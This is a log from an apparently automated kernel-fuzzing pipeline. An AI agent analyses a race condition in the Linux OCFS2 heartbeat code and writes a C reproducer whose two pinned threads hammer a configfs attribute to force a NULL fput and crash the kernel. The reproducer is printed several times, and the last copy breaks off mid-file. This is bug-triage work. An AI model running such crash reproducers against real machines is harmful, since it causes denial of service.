1885:		spin_lock(&o2hb_live_lock);
1886:		reg->hr_task = hb_task;
1887:		spin_unlock(&o2hb_live_lock);
1888:	
1889:		ret = wait_event_interruptible(o2hb_steady_queue,
1890:					atomic_read(&reg->hr_steady_iterations) == 0 ||
1891:					reg->hr_node_deleted);
1892:		if (ret) {
1893:			atomic_set(&reg->hr_steady_iterations, 0);
1894:			reg->hr_aborted_start = 1;
1895:		}
1896:	
1897:		if (reg->hr_aborted_start) {
1898:			ret = -EIO;
1899:			goto out;
1900:		}
1901:	
1902:		if (reg->hr_node_deleted) {
1903:			ret = -EINVAL;
1904:			goto out;
1905:		}
1906:	
1907:		/* Ok, we were woken.  Make sure it wasn't by drop_item() */
1908:		spin_lock(&o2hb_live_lock);
1909:		hb_task = reg->hr_task;
1910:		if (o2hb_global_heartbeat_active())
1911:			set_bit(reg->hr_region_num, o2hb_live_region_bitmap);
1912:		spin_unlock(&o2hb_live_lock);
1913:	
1914:		if (hb_task)
1915:			ret = count;
1916:		else
1917:			ret = -EIO;
1918:	
1919:		if (hb_task && o2hb_global_heartbeat_active())
1920:			printk(KERN_NOTICE "o2hb: Heartbeat started on region %s (%pg)\n",
1921:			       config_item_name(&reg->hr_item), reg_bdev(reg));
1922:	
1923:	out:
1924:		if (ret < 0) {
1925:			spin_lock(&o2hb_live_lock);
1926:			hb_task = reg->hr_task;
1927:			reg->hr_task = NULL;
1928:			spin_unlock(&o2hb_live_lock);
1929:	
1930:			if (hb_task)
1931:				kthread_stop(hb_task);
1932:	
1933:			o2hb_unmap_slot_data(reg);
1934:	
1935:			fput(reg->hr_bdev_file);
1936:			reg->hr_bdev_file = NULL;
1937:		}
1938:		return ret;
1939:	}
 SourceFile:fs/ocfs2/cluster/heartbeat.c]

157/4 2026/09/04 20:51 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 13307
							output: 20
							thoughts: 464
						

Thoughts:
**A Race Condition Concern in Device Block Size Validation**

As I review this code snippet, my primary focus is on the device block size validation logic. I see an initial check: `if (reg->hr_bdev_file) return -EINVAL;`. This seems intended to prevent multiple openings of the backing block device for a given registration, which is a sensible safeguard.

Following this, the code proceeds to open the block device file using `bdev_file_open_by_dev`. Then, it retrieves the logical block size of this device and compares it to an expected value stored in `reg->hr_block_bytes`. If they don't match, an error is logged, a negative return value is set, and the code branches to the `out` label.

This is where my attention is drawn to a potential race condition. The `out` section includes cleanup logic: if `ret < 0`, it calls `fput(reg->hr_bdev_file)` and then sets `reg->hr_bdev_file = NULL`.

Now, I'm considering the scenario where two threads, let's call them Thread 1 and Thread 2, simultaneously enter this function. Both threads manage to pass the initial `if (reg->hr_bdev_file)` check, meaning `reg->hr_bdev_file` is initially NULL.

Imagine Thread 1 successfully executes `reg->hr_bdev_file = bdev_file_open_by_dev(...)`. It then proceeds through the block size check. Let's hypothesize that it fails this check, leading to an error and a jump to the `out` label. Within the `out` section, Thread 1 will call `fput(reg->hr_bdev_file)`. At this point, `reg->hr_bdev_file` points to the file descriptor it just opened. After the `fput`, Thread 1 will set `reg->hr_bdev_file = NULL`.

Now, let's consider Thread 2. It also managed to pass the initial check. It then executes its own `reg->hr_bdev_file = bdev_file_open_by_dev(...)`. Critically, this overwrites the pointer that Thread 1 had just set. So, `reg->hr_bdev_file` in Thread 2's context now points to the file descriptor *Thread 2* opened.

If Thread 2 also fails the block size check and jumps to the `out` label, it will call `fput(reg->hr_bdev_file)`. However, at this moment, `reg->hr_bdev_file` is pointing to the file descriptor *Thread 2* opened. This seems fine.

My concern is slightly different. What if Thread 1 *successfully* opens the device, and then before it reaches the block size check, Thread 2 *also* opens the device, overwriting the `reg->hr_bdev_file` pointer? Then Thread 1 proceeds to the `out` label and calls `fput(reg->hr_bdev_file)`. By this point, `reg->hr_bdev_file` has been updated by Thread 2 to point to Thread 2's opened file descriptor. So, Thread 1's `fput` is actually releasing Thread 2's file.

Following this, Thread 1 sets `reg->hr_bdev_file = NULL`.

Now, Thread 2 proceeds to its `out` label. It calls `fput(reg->hr_bdev_file)`. Since Thread 1 just set `reg->hr_bdev_file` to `NULL`, Thread 2 is about to call `fput(NULL)`.

This leads me to question the behavior of `fput(NULL)`. Will it crash? I need to verify the implementation of `fput` in `fs/file_table.c` to understand its handling of null pointers. If it doesn't gracefully handle NULLs, this could lead to a crash. Even if it does handle NULLs, the logic of one thread releasing another thread's file descriptor feels inherently problematic and indicates a flaw in the concurrency control. The initial check `if (reg->hr_bdev_file)` appears insufficient to prevent this interleaving.


158/4 2026/09/04 20:51 tool codesearch-definition-source
0m Args:
map[Name:fput]

Results:
map[SourceCode: 586:	void fput(struct file *file)
 587:	{
 588:		if (unlikely(file_ref_put(&file->f_ref)))
 589:			__fput_deferred(file);
 590:	}
 SourceFile:fs/file_table.c]

159/4 2026/09/04 20:51 llm repro-generator
1m Model:
gemini-3.1-pro-preview

Tokens:
							input: 13876
							output: 28
							thoughts: 9329
						

Thoughts:
### **My Journey to Triggering a Kernel Crash: A Null Pointer Dereference in OCFS2 Heartbeat**

So, I've been digging into this kernel bug, and it seems to stem from a rather straightforward race condition leading to a null pointer dereference within the OCFS2 heartbeat module. The core of the problem lies in the `fput` function being called with a `NULL` argument.

My initial realization was that `fput` itself doesn't perform a `NULL` check; it directly dereferences its argument via `file_ref_put`. This means `fput(NULL)` is a guaranteed crash. The challenge, then, becomes how to get `reg->hr_bdev_file` to be `NULL` when `fput` is called in the cleanup path of `o2hb_region_dev_store`.

The bug report indicated a specific failure scenario: an `IO Error 10` followed by `status = -5` (which translates to `-EIO`) in `o2hb_region_dev_store`. This specific error, occurring at line 1850 within `o2hb_populate_slot_data`, suggested that the `sectsize == reg->hr_block_bytes` check had actually passed. This means the configuration of `block_bytes` was somehow compatible with the device's sector size, but then actual I/O failed.

However, I thought, "What if I can make it fail *earlier*?" The code proceeds to `o2hb_populate_slot_data` only if `sectsize == reg->hr_block_bytes`. If I can *intentionally* misconfigure `block_bytes` such that `sectsize != reg->hr_block_bytes`, it will fail at line 1829 with an `-EINVAL` error. This is actually preferable because it avoids any actual I/O operations, which might be flaky or take time. The crucial part is that the error handling path, which includes the problematic `fput(reg->hr_bdev_file)`, is the same regardless of whether the failure happens early due to incorrect configuration or later due to I/O issues.

To trigger this race condition, I need two threads to concurrently attempt to write to the `dev` attribute of the heartbeat region. The critical window for the race is between the check `if (reg->hr_bdev_file)` and the subsequent assignment `reg->hr_bdev_file = bdev_file_open_by_dev(...)`. If one thread checks and finds `reg->hr_bdev_file` to be `NULL`, it proceeds, while the other thread might have just set it, causing the first thread to then receive `-EINVAL` and subsequently attempt to `fput(NULL)` during cleanup.

My strategy for the reproducer involves the following steps:

1.  **Setup ConfigFS:** I'll mount `configfs` and then create the necessary directory structure for an OCFS2 cluster: `/sys/kernel/config/cluster/mycluster/node/mynode` and `/sys/kernel/config/cluster/mycluster/heartbeat/myregion`.
2.  **Configure Node and Region:** I'll set up basic node parameters (number, IP, port, local flag) and heartbeat region parameters (`blocks`, `start_block`).
3.  **Open Block Device:** I need a block device. `/dev/loop0` or `/dev/ram0` are good candidates. I'll open it for read-write.
4.  **Misconfigure `block_bytes`:** This is key. I'll query the device's sector size using `ioctl(BLKSSZGET, &sectsize)`. Then, I'll set `reg->hr_block_bytes` to a value that is *different* from `sectsize`. For example, if `sectsize` is 512, I'll set `block_bytes` to 1024, or vice-versa. This ensures the failure at line 1829.
5.  **Concurrent Writes to `dev` Attribute:** I'll open the `/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev` attribute twice, getting two separate file descriptors (`dev_attr_fd1` and `dev_attr_fd2`). This is crucial because configfs store operations for different file descriptors are not serialized by the same mutex.
6.  **Spawn Threads:** I'll create two threads. Each thread will be pinned to a different CPU core (0 and 1) for better isolation and to increase the likelihood of concurrent execution. Inside a tight `while(1)` loop, each thread will repeatedly write the file descriptor of the block device (as a string, e.g., "123\n") to its respective `dev` attribute file descriptor using `pwrite`.

The idea is that these threads will rapidly write to the `dev` attribute, creating a race condition at the point where the `reg->hr_bdev_file` is checked and potentially set. Since `reg->hr_bdev_file` is set to `NULL` during cleanup, and the `fput` function doesn't check for `NULL`, eventually one of the threads will cause `reg->hr_bdev_file` to be `NULL` just before `fput` is called, leading to the null pointer dereference and the kernel crash. I've opted to use a simple tight loop and a short `sleep` in `main` to allow the race condition to manifest, rather than relying on more complex synchronization primitives from the `race` toolkit, as a tight loop on separate CPUs should be sufficient to hit the window.

I've also made sure to include the newline character (`\n`) in the string values written to configfs attributes, as this is generally good practice for configuration files and parsing. And the `BLKSSZGET` definition is handled to avoid header conflicts. This refined approach should reliably trigger the null pointer dereference in `fput`.


160/4 2026/09/04 20:52 tool codesearch-definition-source
0m Args:
map[Name:o2hb_unmap_slot_data]

Results:
map[SourceCode:1491:	static void o2hb_unmap_slot_data(struct o2hb_region *reg)
1492:	{
1493:		int i;
1494:		struct page *page;
1495:	
1496:		if (reg->hr_slot_data) {
1497:			for (i = 0; i < reg->hr_num_pages; i++) {
1498:				page = reg->hr_slot_data[i];
1499:				if (page) {
1500:					__free_page(page);
1501:					reg->hr_slot_data[i] = NULL;
1502:				}
1503:			}
1504:			kfree(reg->hr_slot_data);
1505:			reg->hr_slot_data = NULL;
1506:		}
1507:	
1508:		kfree(reg->hr_slots);
1509:		reg->hr_slots = NULL;
1510:	
1511:		kfree(reg->hr_tmp_block);
1512:		reg->hr_tmp_block = NULL;
1513:	}
 SourceFile:fs/ocfs2/cluster/heartbeat.c]

161/4 2026/09/04 20:52 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 23575
							output: 1755
							thoughts: 2539
						

Thoughts:
**My Thought Process on Constructing the Race Condition Reproducer**

Okay, so I've been digging into this potential Time-of-Check to Time-of-Use (TOCTOU) race condition within the O2HB (o2hib) heartbeat subsystem, specifically around how region devices are handled. My goal is to craft a reliable reproducer that triggers a kernel crash.

First, I analyzed the critical code path. It seems that when `o2hb_region_dev_store` is called, it performs a series of operations that could be susceptible to a race. The initial check `if (reg->hr_slot_data)` and subsequent `kfree` calls on `reg->hr_slots` and `reg->hr_tmp_block` struck me as potentially problematic. However, upon closer inspection, I realized that these pointers are initialized to `NULL` in `o2hb_populate_slot_data` or `o2hb_map_slot_data`. Therefore, calling `kfree(NULL)` is a no-operation (no-op), making this particular sequence safe. That was a quick elimination of a potential concern.

My next step was to scrutinize `o2hb_region_dev_store` for any *other* side effects before the code proceeds to the `goto out` label. I looked at the provided snippet:

```c
	reg->hr_bdev_file = bdev_file_open_by_dev(fd_file(f)->f_mapping->host->i_rdev,
			BLK_OPEN_WRITE | BLK_OPEN_READ, NULL, NULL);
	if (IS_ERR(reg->hr_bdev_file)) {
		ret = PTR_ERR(reg->hr_bdev_file);
		reg->hr_bdev_file = NULL;
		return ret;
	}

	sectsize = bdev_logical_block_size(reg_bdev(reg));
	if (sectsize != reg->hr_block_bytes) {
		mlog(ML_ERROR,
		     "blocksize %u incorrect for device, expected %d",
		     reg->hr_block_bytes, sectsize);
		ret = -EINVAL;
		goto out;
	}
```

My analysis here confirmed that the primary actions are opening the block device and then checking its sector size against the configured `hr_block_bytes`. If there's a mismatch, it logs an error and returns `-EINVAL`, eventually leading to `goto out`. Crucially, there don't appear to be any other significant state changes or resource allocations within this specific segment *before* the `goto out`. This reinforces the idea that the race is likely related to the device opening/closing or associated operations.

Then, a critical thought struck me: if I'm trying to trigger a race, and this code involves opening and closing a block device, will repeatedly opening and closing it in a tight loop cause issues? My initial thought was that it might be inefficient, but then I recalled that `bdev_file_open_by_dev` returns a `struct file *`, and this is managed by `fput` which handles the closing. So, conceptually, this open/close cycle itself isn't inherently problematic from a resource management perspective *if done correctly*.

A detail I needed to clarify was how the file descriptor (`dev_fd`) was being passed and used. The code snippet shows:

```c
    snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
```

and then later `o2hb_region_dev_store` uses `CLASS(fd, f)(fd);` which internally looks up the file descriptor from the process's file descriptor table. Since I plan to use multiple threads within the same process, they will indeed share the same file descriptor table. This means both threads can successfully use the same `dev_fd` value. This confirms that passing the file descriptor itself is a valid approach in this multithreaded context.

I also considered the `race` toolkit. The prompt mentions its availability for "specific primitives (like spin-wait barriers or CPU pinning) to reproduce complex bugs." While I could potentially use it to make the race condition more deterministic, I reasoned that for this particular type of TOCTOU vulnerability, a tight loop of repeated operations is often sufficient to expose the race condition. So, I decided to stick with a simple, tight loop for now.

Another important consideration was whether the `pwrite` operation itself could block. My understanding is that configfs `store` operations, in the failure path (which is what we're aiming for), are designed not to block. They typically return quickly, often with an error code like `-EINVAL`. This lack of blocking behavior is crucial for a tight loop to effectively interleave operations.

Finally, I did a sanity check for memory leaks within the loop. If the race is hit, the goal is a kernel crash, so memory leaks become moot. If the race *isn't* hit, `bdev_file_open_by_dev` allocates a `struct file`, and `fput` will correctly free it. So, in the non-crashing scenario, there shouldn't be any persistent memory leaks. I also briefly considered if any specific flags like `O2CB_HEARTBEAT_THRESHOLD` needed to be set, but I quickly realized that the intended race condition occurs much earlier in the execution flow, before those particular settings become relevant.

With all these points considered, I felt confident in constructing the reproducer code. I've put together a C program that sets up the necessary configfs structures, opens a block device (like `/dev/loop0` or `/dev/ram0`), and then launches two threads. Each thread repeatedly writes the block device's file descriptor to the `dev` attribute of the heartbeat region. This tight loop, coupled with the shared file descriptor table, should create the necessary conditions for a TOCTOU race within the kernel's handling of the block device association. The expected outcome is a kernel crash, likely an `invalid fput()` call due to the race. I've included standard setup steps like mounting configfs, creating cluster/node/region structures, and configuring the necessary parameters (`blocks`, `start_block`, `block_bytes`). The CPU pinning in the threads is a good practice to try and increase the chances of the race occurring predictably. I'll be submitting this reproducer.


162/4 2026/09/04 20:53 tool set-results
0m Args:
map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sched.h>

#ifndef BLKSSZGET
#define BLKSSZGET _IO(0x12,104)
#endif

int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;

void *thread_func1(void *arg)
{
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(0, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

    while (1) {
        pwrite(dev_attr_fd1, fd_str, fd_len, 0);
    }
    return NULL;
}

void *thread_func2(void *arg)
{
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(1, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

    while (1) {
        pwrite(dev_attr_fd2, fd_str, fd_len, 0);
    }
    return NULL;
}

int write_file(const char *path, const char *val) {
    int fd = open(path, O_WRONLY);
    if (fd < 0) {
        printf("[-] Failed to open %s: %s\n", path, strerror(errno));
        return -1;
    }
    int len = strlen(val);
    int res = write(fd, val, len);
    if (res < 0) {
        printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
        close(fd);
        return -1;
    }
    close(fd);
    printf("[+] Wrote '%s' to %s\n", val, path);
    return 0;
}

int main(void) {
    int res;

    // 1. Mount configfs
    res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
    if (res < 0 && errno != EBUSY) {
        printf("[-] Failed to mount configfs: %s\n", strerror(errno));
    } else {
        printf("[+] configfs mounted or already mounted.\n");
    }

    // 2. Create cluster
    if (mkdir("/sys/kernel/config/cluster/mycluster", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir mycluster: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created mycluster.\n");

    if (mkdir("/sys/kernel/config/cluster/mycluster/node", 0777) < 0 && errno != EEXIST) {
        // ignore
    }
    if (mkdir("/sys/kernel/config/cluster/mycluster/node/mynode", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir mynode: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created mynode.\n");

    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");

    if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat", 0777) < 0 && errno != EEXIST) {
        // ignore
    }
    if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat/myregion", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir myregion: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created myregion.\n");

    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");

    int dev_fd = open("/dev/loop0", O_RDWR);
    if (dev_fd < 0) {
        printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
        dev_fd = open("/dev/ram0", O_RDWR);
        if (dev_fd < 0) {
            printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
            exit(1);
        }
    }
    printf("[+] Opened block device, fd=%d\n", dev_fd);

    snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
    fd_len = strlen(fd_str);

    int sectsize = 512;
    if (ioctl(dev_fd, BLKSSZGET, &sectsize) < 0) {
        printf("[-] Failed to ioctl BLKSSZGET: %s\n", strerror(errno));
    }
    int block_bytes = (sectsize == 512) ? 1024 : 512;
    char block_bytes_str[32];
    snprintf(block_bytes_str, sizeof(block_bytes_str), "%d\n", block_bytes);
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes_str);

    dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
        printf("[-] Failed to open dev attr: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened dev attr twice.\n");

    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_func1, NULL);
    pthread_create(&t2, NULL, thread_func2, NULL);

    printf("[+] Threads started. Waiting for crash...\n");
    sleep(5);

    return 0;
}]

Results:
map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sched.h>

#ifndef BLKSSZGET
#define BLKSSZGET _IO(0x12,104)
#endif

int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;

void *thread_func1(void *arg)
{
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(0, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

    while (1) {
        pwrite(dev_attr_fd1, fd_str, fd_len, 0);
    }
    return NULL;
}

void *thread_func2(void *arg)
{
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(1, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

    while (1) {
        pwrite(dev_attr_fd2, fd_str, fd_len, 0);
    }
    return NULL;
}

int write_file(const char *path, const char *val) {
    int fd = open(path, O_WRONLY);
    if (fd < 0) {
        printf("[-] Failed to open %s: %s\n", path, strerror(errno));
        return -1;
    }
    int len = strlen(val);
    int res = write(fd, val, len);
    if (res < 0) {
        printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
        close(fd);
        return -1;
    }
    close(fd);
    printf("[+] Wrote '%s' to %s\n", val, path);
    return 0;
}

int main(void) {
    int res;

    // 1. Mount configfs
    res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
    if (res < 0 && errno != EBUSY) {
        printf("[-] Failed to mount configfs: %s\n", strerror(errno));
    } else {
        printf("[+] configfs mounted or already mounted.\n");
    }

    // 2. Create cluster
    if (mkdir("/sys/kernel/config/cluster/mycluster", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir mycluster: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created mycluster.\n");

    if (mkdir("/sys/kernel/config/cluster/mycluster/node", 0777) < 0 && errno != EEXIST) {
        // ignore
    }
    if (mkdir("/sys/kernel/config/cluster/mycluster/node/mynode", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir mynode: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created mynode.\n");

    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");

    if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat", 0777) < 0 && errno != EEXIST) {
        // ignore
    }
    if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat/myregion", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir myregion: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created myregion.\n");

    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");

    int dev_fd = open("/dev/loop0", O_RDWR);
    if (dev_fd < 0) {
        printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
        dev_fd = open("/dev/ram0", O_RDWR);
        if (dev_fd < 0) {
            printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
            exit(1);
        }
    }
    printf("[+] Opened block device, fd=%d\n", dev_fd);

    snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
    fd_len = strlen(fd_str);

    int sectsize = 512;
    if (ioctl(dev_fd, BLKSSZGET, &sectsize) < 0) {
        printf("[-] Failed to ioctl BLKSSZGET: %s\n", strerror(errno));
    }
    int block_bytes = (sectsize == 512) ? 1024 : 512;
    char block_bytes_str[32];
    snprintf(block_bytes_str, sizeof(block_bytes_str), "%d\n", block_bytes);
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes_str);

    dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
        printf("[-] Failed to open dev attr: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened dev attr twice.\n");

    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_func1, NULL);
    pthread_create(&t2, NULL, thread_func2, NULL);

    printf("[+] Threads started. Waiting for crash...\n");
    sleep(5);

    return 0;
}]

163/3 2026/09/04 20:53 loop
0m
164/4 2026/09/04 20:53 iteration 0
0m
165/5 2026/09/04 20:53 action merge-repro-c
0m Results:
map[CurrentCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sched.h>

#ifndef BLKSSZGET
#define BLKSSZGET _IO(0x12,104)
#endif

int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;

void *thread_func1(void *arg)
{
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(0, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

    while (1) {
        pwrite(dev_attr_fd1, fd_str, fd_len, 0);
    }
    return NULL;
}

void *thread_func2(void *arg)
{
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(1, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

    while (1) {
        pwrite(dev_attr_fd2, fd_str, fd_len, 0);
    }
    return NULL;
}

int write_file(const char *path, const char *val) {
    int fd = open(path, O_WRONLY);
    if (fd < 0) {
        printf("[-] Failed to open %s: %s\n", path, strerror(errno));
        return -1;
    }
    int len = strlen(val);
    int res = write(fd, val, len);
    if (res < 0) {
        printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
        close(fd);
        return -1;
    }
    close(fd);
    printf("[+] Wrote '%s' to %s\n", val, path);
    return 0;
}

int main(void) {
    int res;

    // 1. Mount configfs
    res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
    if (res < 0 && errno != EBUSY) {
        printf("[-] Failed to mount configfs: %s\n", strerror(errno));
    } else {
        printf("[+] configfs mounted or already mounted.\n");
    }

    // 2. Create cluster
    if (mkdir("/sys/kernel/config/cluster/mycluster", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir mycluster: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created mycluster.\n");

    if (mkdir("/sys/kernel/config/cluster/mycluster/node", 0777) < 0 && errno != EEXIST) {
        // ignore
    }
    if (mkdir("/sys/kernel/config/cluster/mycluster/node/mynode", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir mynode: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created mynode.\n");

    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");

    if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat", 0777) < 0 && errno != EEXIST) {
        // ignore
    }
    if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat/myregion", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir myregion: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created myregion.\n");

    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");

    int dev_fd = open("/dev/loop0", O_RDWR);
    if (dev_fd < 0) {
        printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
        dev_fd = open("/dev/ram0", O_RDWR);
        if (dev_fd < 0) {
            printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
            exit(1);
        }
    }
    printf("[+] Opened block device, fd=%d\n", dev_fd);

    snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
    fd_len = strlen(fd_str);

    int sectsize = 512;
    if (ioctl(dev_fd, BLKSSZGET, &sectsize) < 0) {
        printf("[-] Failed to ioctl BLKSSZGET: %s\n", strerror(errno));
    }
    int block_bytes = (sectsize == 512) ? 1024 : 512;
    char block_bytes_str[32];
    snprintf(block_bytes_str, sizeof(block_bytes_str), "%d\n", block_bytes);
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes_str);

    dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
        printf("[-] Failed to open dev attr: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened dev attr twice.\n");

    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_func1, NULL);
    pthread_create(&t2, NULL, thread_func2, NULL);

    printf("[+] Threads started. Waiting for crash...\n");
    sleep(5);

    return 0;
}]

166/5 2026/09/04 20:53 action compile-c-prog
0m Results:
map[CompilerError: FormattedReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sched.h>

#ifndef BLKSSZGET
#define BLKSSZGET _IO(0x12,104)
#endif

int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;

void *thread_func1(void *arg)
{
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(0, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

    while (1) {
        pwrite(dev_attr_fd1, fd_str, fd_len, 0);
    }
    return NULL;
}

void *thread_func2(void *arg)
{
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(1, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

    while (1) {
        pwrite(dev_attr_fd2, fd_str, fd_len, 0);
    }
    return NULL;
}

int write_file(const char *path, const char *val) {
    int fd = open(path, O_WRONLY);
    if (fd < 0) {
        printf("[-] Failed to open %s: %s\n", path, strerror(errno));
        return -1;
    }
    int len = strlen(val);
    int res = write(fd, val, len);
    if (res < 0) {
        printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
        close(fd);
        return -1;
    }
    close(fd);
    printf("[+] Wrote '%s' to %s\n", val, path);
    return 0;
}

int main(void) {
    int res;

    // 1. Mount configfs
    res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
    if (res < 0 && errno != EBUSY) {
        printf("[-] Failed to mount configfs: %s\n", strerror(errno));
    } else {
